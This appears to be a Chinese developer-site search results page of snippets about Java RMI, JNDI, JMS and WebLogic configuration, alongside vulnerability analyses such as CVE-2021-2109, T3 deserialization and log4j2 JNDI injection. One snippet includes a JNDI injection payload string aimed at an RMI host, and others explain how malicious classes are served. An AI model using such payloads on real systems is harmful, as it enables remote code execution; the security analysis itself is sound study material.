首页
学习
活动
专区
圈层
工具
发布

Java 中 RMI、JNDI、LADP、JRMP、JMX、JMS那些事儿(上)

当RMI对象部署到WebLogic群集时,它还集成了对负载平衡和故障转移的支持。...相反,当客户端和服务器对象并置时,并且在类加载器层次结构允许时,WebLogic使用Java的按引用传递语义。...将对象部署到RMI注册表或JNDI时,WebLogic将自动生成必要的存根和框架。唯一需要显式创建存根的时间是可集群客户端或IIOP客户端需要访问服务器端RMI对象时。...比如在RMI服务器端上可以不直接使用Registry进行bind,而使用JNDI统一管理,当然JNDI底层应该还是调用的Registry的bind,但好处JNDI提供的是统一的配置接口;在客户端也可以直接通过类似...还有其他包装了JNDI的应用,例如Apache's Shiro JndiTemplate、Spring's JndiTemplate也会调用InitialContext.lookup(),看下Apache

5.2K11
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    【Java】已解决:org.springframework.jdbc.datasource.lookup.DataSourceLookupFailureException

    已解决:org.springframework.jdbc.datasource.lookup.DataSourceLookupFailureException 在使用Spring框架进行开发时...一、分析问题背景 问题背景描述 在开发一个Spring Boot应用时,配置数据源是一个常见的步骤。通常,我们会在应用的配置文件中定义数据源。...出现问题的场景 该错误通常发生在以下场景: 应用程序启动时。 尝试从数据源获取连接时。 数据源配置错误或未正确绑定时。...Spring配置问题:Spring配置文件中未正确配置JNDI数据源查找方式。...需要注意以下事项以避免类似错误: 仔细检查JNDI名称:确保配置的JNDI名称与应用服务器中绑定的名称完全一致。

    1.1K10

    java学习:weblogic下JNDI及JDBC连接测试(weblogic环境)

    JNDI的专业解释,大家自行去网络搜索吧,这里就不啰嗦了。 单纯从使用角度看,可以简称把它看成一个key-value的“哈希资源”容器。...给定一个string类型的key,可以把任何类型的value,放入这个容器(通过bind/rebind方法);其它地方需要使用该资源时,根据key就能取出该资源(通过lookup方法) JNDI使用示例...: package jmyang.weblogic; /** * Title:JNDI示例(WebLogic环境) * Description: * Copyright...JDBC数据源,实际上,也是使用JNDI服务来访问的,下面是JDBC示例代码:(必须先在weblogic中创建数据源) package jmyang.weblogic; /** * Title...服务器地址 static final String webLogicINDIStr = "weblogic.jndi.WLInitialContextFactory";

    2.2K90

    CVE-2021-2109:Weblogic远程代码执行分析复现

    0x04 环境搭建 与CVE-2020-14645复现时的搭建方式相同 0x05 漏洞复现 选用jdk-8u181,weblogic12.1.4.0 搭建漏洞环境,因为是通过 JNDI 注入进行的远程命令执行...,所以会受到 JDK 版本的影响 JNDI 注入的 JDK 版本如图所示 ?...在同一文件中,通过set DEBUG_PORT=8453 指定了远程调试的端口,拷贝Oracle_Home目录下所有文件至调试目录,配置 Remote 方式进行远程调试,端口为 8453 ?...我们在 JNDIBindingAction 类的函数 execute 中,看到了 JNDI 注入的关键函数 lookup,通过 lookup 去引用命名服务(RMI)和目录服务(LDAP) console.jar...我们可以看到 lookup 中的值来源于 bindingHandle.getContext() + bindingHandle.getBinding() ,同时要执行到 lookup 需要满足 serverMBean

    4.5K11

    『学习笔记』WebLogic 中 JMS 服务的配置与应用

    用于发布订阅通信的消息主题 WebLogic JMS 服务的配置步骤 以下以一个在线订单系统的示例,详细说明 JMS 服务的配置步骤。...检查 WebLogic 服务器状态和网络配置 WebLogic JMS 服务配置与使用注意事项 WebLogic JMS 服务是一种高效、灵活的消息传递工具,适用于分布式系统的异步通信...JNDI 名称的统一 JNDI 名称是客户端访问 JMS 资源的唯一标识。如果生产者、消费者以及 WebLogic 中的 JNDI 配置不一致,消息将无法正确路由。...注意事项: 确保 Connection Factory 和 Queue/Topic 的 JNDI 名称在 WebLogic 控制台和客户端代码中完全一致。...undefined常用功能: 设置阈值告警:当队列长度超过设定值时触发警报。 捕获错误日志:记录 JMS 服务运行中发生的异常。

    1.3K20

    关于 Java 中的 RMI-IIOP

    ,在16年Blackhat JNDI注入议题中也提到了这个协议的利用,当时想着没太看到或听说有多少关于IIOP的漏洞(可能事实真的如此吧,在下面Weblogic RMI-IIOP部分或许能感受到),所以那篇文章写作过程中也没去看之前那个...方法返回时,框架代码将转换结果或错误,然后通过ORB将其发送回客户端。 在ORB之间,通信通过共享协议IIOP进行。...当传递该字符串时,ORB返回一个命名上下文对象,该对象是名称服务的对象引用 org.omg.CORBA.Object objRef = orb.resolve_initial_references...Weblogic中的RMI-IIOP Weblogic默认是开启了iiop协议的,如果是上面这样的话,看通信数据以及上面的调用过程极大可能是不会经过Weblogic的黑名单了。...一个很尴尬的事情就是,Weblogic默认绑定了远程名称的实现类没有为IIOP实现服务端类与客户端类,但是没有绑定的一些类却实现了,所以默认无法利用了。

    1.7K20

    Java命名和目录接口(JNDI)详解

    JNDI在Java EE中的使用 让我们以Java EE应用服务器(如Tomcat、WebLogic、JBoss等)中的数据源作为例子,深入了解JNDI的使用。...数据源是数据库连接池的抽象,包含了获取数据库连接所需的所有信息。 当你在Java EE服务器中配置一个数据源时,会给它一个名字(例如,"jdbc/mydb"),然后这个数据源就会被注册到JNDI服务。...然后,你就可以在你的Java EE应用程序中这样使用: Context context = new InitialContext(); DataSource ds = (DataSource) context.lookup...通过使用Context.lookup()方法,我们可以从JNDI中查找到对应的数据源对象。...JNDI的优点 JNDI有一些明显的优点: 解耦和灵活性:使用JNDI,应用程序不需要直接创建或管理服务对象。这样,服务对象的创建和配置就可以被集中管理,提高了灵活性。

    1.3K10

    JAVA常见漏洞复现

    当后面有客户端请求服务时,我们搭建的这个JRMP就会返回这段payload1。...比如可以利用JNDI再局域网上定位一台打印机,也可以用JNDI来定位数据库服务或一个远程Java对象。JNDI底层支持RMI远程对象,RMI注册的服务可以通过JNDI接口来访问和调用。...()获取绑定对象的引用,并在目录中保存,当客户端使用lookup获取对应名字时,会返回ReferenceWrapper类的代理文件,然后会调用getReference()获取Reference类,最终通过...攻击者可以利用这一点进行JNDI注入,使得受害者请求远程服务来链接本地对象,在lookup的{}里面构造payload,调用JNDI服务(LDAP)向攻击者提前部署好的恶意站点获取恶意的**.class...T3协议在开放WebLogic控制台端口的应用上默认开启. 攻击者可以 通过T3协议发送恶意的的反序列化数据, 进行反序列化, 实现对存在漏洞的weblogic组件的远程代码执行攻击。

    2.8K30

    EJB的简单介绍和使用

    EJB中还提供了一些安全管理、事务控制功能,使得我们调用EJB时,不需要太多地束缚于这些问题的编码。 EJB 定义了四种类型的组件: 1....在较早版本的EJB中,需要进行比较复杂的配置,编写xml配置文件,在EJB3中,你可以选择编写配置文件,也可以将配置在代码中标明。...EJB的JNDI名称为"ConvertBean",客户端寻找该EJB时,所使用的名字为"ConvertBean#itf.Convert",实际上是相当于寻找里面的接口。...默认情况下,Tomcat不支持EJB,支持EJB的服务器有WebLogic、WebSphere、JBoss等,此处我们使用WebLogic10,以及其内部配置的用户服务器域:base domain,并已经在...由于JNDI名称对于各个厂商具有不同的写法,因此,最好的方法是将JNDI名称写在配置文件中。

    5.6K20

    log4j2 JNDI注入漏洞速通~

    log.error("${jndi:rmi://127.0.0.1:1099/ruwsfb}"); } } spring-boot 需要把原来的log关掉,加入log4j(这是一个普遍用法) <...(重要绕过) 经过处理的变量,会在418行进入resolveVariable函数 而resolveVariable这里则直接根据不同的协议进入相应的lookup,其中jndi.lookup就会导致漏洞...如果执行lookup有返回,则会进入427行的递归处理下一层 而lookup支持的协议也有很多种 包括{date, java, marker, ctx, lower, upper, jndi...2.15.0 rc1 的修复 其实这个漏洞几天前就被发布了更新补丁,之前也关注到了,只是没想到利用的逻辑如此简单。 在整个漏洞掀起全安全圈的风暴时,越来越多的朋友将目光集中到这里。....component.properties 配置文件中添加配置: log4j2.formatMsgNoLookups = true 要注意的是,这个配置只生效于2.10.0以上。

    1.2K10
    领券